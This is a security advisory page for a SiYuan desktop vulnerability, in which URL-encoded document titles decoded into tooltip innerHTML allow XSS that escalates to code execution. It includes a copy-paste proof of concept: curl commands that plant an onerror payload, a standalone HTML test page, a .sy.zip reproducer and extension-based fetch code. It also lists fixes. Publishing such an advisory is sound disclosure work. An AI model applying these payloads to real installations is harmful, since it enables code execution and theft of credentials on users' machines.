GHSA-25rp-h46x-2hjm CVE-2026-44588 GO-2026-4993
SiYuan: Electron Renderer RCE via decodeURIComponent-driven tooltip XSS in aria-label sink (incomplete fix for CVE-2026-34585)
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.51%
- Chance of exploitation in the next 30 days. Higher than 43.46% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-116 Improper Encoding or Escaping of Output
- CWE-1188 Initialization of a Resource with an Insecure Default
- CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Fix
- None yet
- No fixed version published
Description
Summary
The tooltip mouseover handler in app/src/block/popover.ts reads aria-label via getAttribute and passes it through decodeURIComponent before assigning to messageElement.innerHTML in app/src/dialog/tooltip.ts:41. The encoder used at the producer side, escapeAriaLabel in app/src/util/escape.ts:19-25, only handles HTML special characters (", ', <, literal <) — it leaves %XX URL-escapes untouched. So a doc title containing %3Cimg src=x onerror=...%3E round-trips through escapeAriaLabel and the HTML attribute layer unmodified. Then decodeURIComponent on the consumer side converts %3C to a literal < character (a real <, NOT a character reference). When that string is assigned to innerHTML, the HTML5 tokenizer enters TagOpenState on the literal <, parses the <img> element, and the onerror handler fires.
Because the renderer runs with nodeIntegration: true, contextIsolation: false, webSecurity: false (app/electron/main.js:407-411), require('child_process') is reachable from the injected handler, escalating to arbitrary code execution.
Doc titles, AV column names + descriptions, AV select options, file-tree tooltips all reach this sink because they're rendered into class="ariaLabel" elements with aria-label="${escapeAriaLabel(...)}". Doc title is the easiest plant — any user with create/rename access lands the payload, and the file survives .sy.zip round-trip without modification.
Why a "double HTML-decode" framing is wrong
A naïve reading of the chain might suggest that &lt; (the encoder output) decodes once at attribute-parse time to <, then a second time at innerHTML time to < — yielding a tag. That's incorrect and confirmed false by direct browser testing. Per the HTML5 spec, character references in DataState produce CHARACTER tokens (text), not TagOpenState transitions: the < resulting from a < reference is text data, never a tag-open delimiter. So the HTML-entity-only payload renders as visible literal text, not as a tag.
The actual bypass relies on decodeURIComponent producing a literal < (not a character reference) before innerHTML parses it. Literal < characters in the input stream DO trigger TagOpenState. URL encoding is the right vehicle because the encoder ignores %XX while the consumer chain decodes it.
Details
Encoder. app/src/util/escape.ts:19-25:
export const escapeAriaLabel = (html: string) => {
if (!html) { return html; }
return html.replace(/"/g, """).replace(/'/g, "'")
.replace(/</g, "&lt;").replace(/</g, "&lt;");
};
The four replacements only cover HTML special chars. %XX URL escapes are not touched.
Source — search-result rendering. app/src/search/util.ts:1406:
<span class="b3-list-item__text ariaLabel" ... aria-label="${escapeAriaLabel(title)}">${escapeGreat(title)}</span>
Same pattern at :1448, protyle/render/av/blockAttr.ts:205, protyle/render/av/col.ts:134, protyle/render/av/select.ts:36, search/unRef.ts:113. The title is built from getNotebookName(item.box) + getDisplayName(item.hPath, false) (line 1398). The hPath returned by /api/search/fullTextSearchBlock carries the user-set doc title verbatim — %XX URL-escapes pass through, only HTML special chars are entity-encoded by the kernel.
Consumer. app/src/block/popover.ts:33,144:
let tip = aElement.getAttribute("aria-label") || ""; // literal stored attribute value
// ... branch logic that doesn't apply to plain search results ...
showTooltip(decodeURIComponent(tip), aElement, ...); // ← decodes %XX into raw chars
decodeURIComponent is presumably present to handle URL-encoded asset paths in some hyperlink tooltips, but it's applied unconditionally to every aria-label-sourced tip — that's what enables this bypass.
Sink. app/src/dialog/tooltip.ts:41:
messageElement.innerHTML = message; // ← HTML parser sees the now-decoded raw `<` and starts parsing tags
Decode-chain trace for in-memory title %3Cimg src=x onerror="alert('SiYuan')"%3E (URL-encoded < > ', literal "):
| step | result |
|---|---|
| in-memory title | %3Cimg src=x onerror="alert('SiYuan')"%3E |
escapeAriaLabel writes (only " and ' get encoded — neither appears here as raw chars when ' is %27) |
%3Cimg src=x onerror="alert(%27SiYuan%27)"%3E |
HTML attribute set: aria-label="..." ; browser one-decodes named entities when storing |
in-DOM value = %3Cimg src=x onerror="alert(%27SiYuan%27)"%3E |
getAttribute("aria-label") |
%3Cimg src=x onerror="alert(%27SiYuan%27)"%3E (verbatim) |
decodeURIComponent(tip) |
<img src=x onerror="alert('SiYuan')"> (real < ' > chars) |
messageElement.innerHTML = … |
HTML parser tokenizes raw <img>, creates element, fails to load src=x, fires onerror → JS runs |
Renderer + reachability. Renderer posture and auto-admin gates same as the AV-name advisory (Advisory 1): nodeIntegration:true, contextIsolation:false, webSecurity:false at app/electron/main.js:407-411; empty-AccessAuthCode local auto-admin at kernel/model/session.go:261-287; chrome-extension:// Origin allowlist at session.go:277.
Suggested fix
-
Primary —
app/src/dialog/tooltip.ts:41: replacemessageElement.innerHTML = message;with
messageElement.textContent = message;For tooltips that legitimately need markup (memo rendering, hyperlink preview cards), introduce an explicit
{html: true}flag onshowTooltip(...)and route the message throughDOMPurify.sanitize(message)before assigning toinnerHTML. -
Drop
decodeURIComponentatpopover.ts:144for the generic aria-label path. Apply it only on the few callers that intentionally pass URL-encoded asset paths (e.g. the local-asset hyperlink preview branch already inside the function), and apply it insidetry/catchwith a clear scope. Aria-label content is not URL-encoded by design; decoding it is a footgun that converts otherwise-safe attributes into pre-parsed HTML. -
Consolidate the four escape helpers in
app/src/util/escape.ts(escapeHtml,escapeAttr,escapeAriaLabel,escapeGreat) into oneLute.EscapeHTMLStr-equivalent that escapes&,<,>,",'. Context-specific encoders without compile-time enforcement keep producing bug-class variants. -
(Defense-in-depth) Switch the main BrowserWindow to
contextIsolation: truewith a preload bridge — caps every future renderer XSS at "DOM only," not RCE.
Reproduction (copy-paste-ready)
Tested on Windows with SiYuan v3.6.5 (kernel + Electron) and Microsoft Edge as the offline parser-validation engine. Linux/macOS users substitute py with python3 and use any modern Chromium-based browser (Edge/Chrome/Brave) for the standalone validation step.
Prereqs
- Install SiYuan v3.6.5 from https://github.com/siyuan-note/siyuan/releases and launch once. Do not set an
AccessAuthCode(default). - Verify the kernel is up:
curl -s http://127.0.0.1:6806/api/system/version # → {"code":0,"msg":"","data":"3.6.5"} - Create at least one notebook (the file tree's "+" button) so
lsNotebooksreturns a usable id. Pin variables:API=http://127.0.0.1:6806 NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \ -H 'Content-Type: application/json' -d '{}' \ | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])') echo "Using notebook: $NOTEBOOK_ID"
Step A — Browser-only validation of the chain (no SiYuan needed)
This proves the bug class on its own. Save as decode-chain.html, open in any Chromium-based browser:
<!doctype html>
<html><body>
<h2 id="status">Click "Simulate" — if status turns red, the chain works.</h2>
<span id="src" class="ariaLabel"
aria-label="%3Cimg src=x onerror="document.getElementById('status').innerText='RESULT: payload fired — chain works'; document.getElementById('status').style.color='red';"%3E"
hidden></span>
<button onclick="
let tip = document.getElementById('src').getAttribute('aria-label');
console.log('after getAttribute:', JSON.stringify(tip));
try { tip = decodeURIComponent(tip); } catch(e){}
console.log('after decodeURIComponent:', JSON.stringify(tip));
document.getElementById('out').innerHTML = tip;
">Simulate SiYuan tooltip</button>
<div id="out" style="border:2px solid red; padding:1em; min-height:3em; margin-top:1em;"></div>
</body></html>
Click the button. The <h2 id="status"> flips to red with "RESULT: payload fired — chain works", and the <div id="out"> contains a fully-rendered <img> element (not text). Confirms the chain decodes URL-escapes between getAttribute and innerHTML, producing real tag-open characters.
Step B — Plant the payload in SiYuan
DOC_ID=$(curl -s -X POST $API/api/filetree/createDocWithMd \
-H 'Content-Type: application/json' \
-d "{\"notebook\":\"$NOTEBOOK_ID\",\"path\":\"/tooltip-xss-poc-$$\",\"markdown\":\"trigger me — open the search panel, type 'trigger', and hover this result\"}" \
| python -c 'import sys,json; print(json.load(sys.stdin)["data"])')
echo "DOC: $DOC_ID"
curl -s -X POST $API/api/filetree/renameDocByID \
-H 'Content-Type: application/json' \
--data-binary @- <<EOF
{"id":"$DOC_ID","title":"%3Cimg src=x onerror=\"alert('SiYuan tooltip-XSS PoC')\"%3E"}
EOF
Verify the in-memory title round-trips:
curl -s -X POST $API/api/block/getDocInfo \
-H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \
| python -c 'import sys,json; print(json.load(sys.stdin)["data"]["ial"]["title"])'
# Expected:
# %3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E
Step C — Trigger inside SiYuan
In the SiYuan desktop client:
- Open the search panel (
Ctrl+P/⌘+P). - Type
trigger. - The result list renders the doc with
aria-label="${escapeAriaLabel(title)}". The DOM attribute now contains%3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E(URL-escapes survived;"came from escapeAriaLabel and was decoded by the attribute parser to"). - Hover the result row.
popover.ts:33reads the attribute,popover.ts:144callsdecodeURIComponent(decoding%3C/%27/%3Eto literal</'/>),tooltip.ts:41writesinnerHTML— HTML parser creates a real<img>element,onerrorfires. alert('SiYuan tooltip-XSS PoC')pops.
Step D — .sy.zip reproducer for upstream review
For maintainers who want a single-click reproducer:
ZIP_PATH=$(curl -s -X POST $API/api/export/exportSY \
-H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \
| python -c 'import sys,json; print(json.load(sys.stdin)["data"]["zip"])')
# The kernel re-encodes % in the URL, so it's simpler to grab from disk:
SRC=$(ls -1t "$HOME/SiYuanWorkspace/temp/export"/*.sy.zip | head -1)
cp "$SRC" "$HOME/Desktop/tooltip-xss-poc.sy.zip"
Maintainer reproduces by importing via right-click a notebook → Import → SiYuan .sy.zip → searching trigger → hovering the result. The Lute serialization stores the title in the .sy file with %XX preserved literally and " HTML-entity-encoded — the IAL parser decodes the entities on load, leaving the URL escapes intact, which then feeds the decodeURIComponent-based bypass.
Step E — Browser-extension attack vector (the realistic remote path)
A malicious or compromised installed browser extension's content/background script runs with chrome-extension://<id> Origin, allowlisted by session.go:277. The extension can run Step B's curl chain via fetch() without any SiYuan UI interaction beyond keeping the kernel running:
(async () => {
const api = (path, body) => fetch('http://127.0.0.1:6806' + path, {
method: 'POST', headers: {'Content-Type': 'application/json'},
body: JSON.stringify(body)
}).then(r => r.json());
const nb = await api('/api/notebook/lsNotebooks', {});
const id = (await api('/api/filetree/createDocWithMd', {
notebook: nb.data.notebooks[0].id,
path: '/x' + Date.now(),
markdown: 'trigger'
})).data;
await api('/api/filetree/renameDocByID', {
id,
title: `%3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E`
});
})();
A page from https://attacker.com is rejected — IsLocalOrigin only matches localhost/loopback. Realistic remote vectors: browser extensions, localhost-served webpages, shared .sy.zip imports, sync replication from a co-author's compromised device.
Cleanup
DOC_ID=$(curl -s -X POST $API/api/filetree/searchDocs \
-H 'Content-Type: application/json' -d '{"k":"trigger me"}' \
| python -c 'import sys,json; r=json.load(sys.stdin)["data"]; print(r[0]["id"] if r else "")')
[ -n "$DOC_ID" ] && curl -s -X POST $API/api/filetree/removeDocByID \
-H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}"
Impact
- RCE on the victim's desktop, triggered by hovering a search result (or any other
class="ariaLabel"element rendering attacker-controlled metadata). - Doc titles are the most commonly-shared field — recipients of
.sy.zip, Bazaar templates, and sync peers all import the malicious title automatically; the URL encoding survives every transport. - Same post-RCE consequences as Advisory 1: full filesystem read (incl.
~/.ssh/,~/.aws/credentials, workspaceconf/conf.json), persistence, cloud-account pivot. - Multiple alternative trigger surfaces beyond search results: AV column names + descriptions, AV select-cell options, file-tree tooltips — any element with
class="ariaLabel"andaria-label="${escapeAriaLabel(...)}"reaches the samepopover.ts → tooltip.tschain. - CVE-2026-34585 fix is incomplete. The encoder-side hardening assumed exactly one HTML decode between encoder and DOM. It did not account for
decodeURIComponentbeing applied to the consumer-side attribute value, which converts URL-escapes that the encoder ignored into literal<characters that initiate tag parsing. A consumer-side fix (textContent, orDOMPurify.sanitizeon the rich-text path; and removing the unconditionaldecodeURIComponent) is required.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/siyuan-note/siyuan/kernel | <= 0.0.0-20260421031503-96dfe0bea474 |
No fix yet |
| github.com/siyuan-note/siyuan/kernel | all versions |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- Active
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- High
- Availability (subsequent systems)
- High
Weakness
CWE-116: Improper Encoding or Escaping of Output
The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
- Architecture and Design, Implementation: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- Architecture and Design: In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.
- Architecture and Design: Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).
- Requirements: Fully specify which encodings are required by components that will be communicating with each other.
- Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
CWE-1188: Initialization of a Resource with an Insecure Default
The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
- Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
- Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-xp3q-r38w-vgqm SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-9cqf-hhrq-7v45 SiYuan: getAttributeViewSearchTarget returns database row content to anonymous readers with no publish-access check, reopening the class closed one day earlier at the adjacent route | High | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-57v5-wqx3-cgj4 SiYuan: Database view structure (all view names, layout types and per-field visibility) is returned to anonymous readers by /api/av/getAttributeViewFieldViews | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-4wwp-f6gw-6qm5 SiYuan: TLS Private Keys Readable via getFile (Incomplete Blocklist) | High | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-3cm4-ccvw-6xr6 SiYuan: /history/*path and /repo/diff/*path potentially exposing historical snapshots of data/.siyuan/publishAccess.json and data/templates/* | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-x8gv-g2g3-65fj SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF) | High | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-p23f-cm6q-2qp8 SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass) | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-rpx2-p6hp-x5gj SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor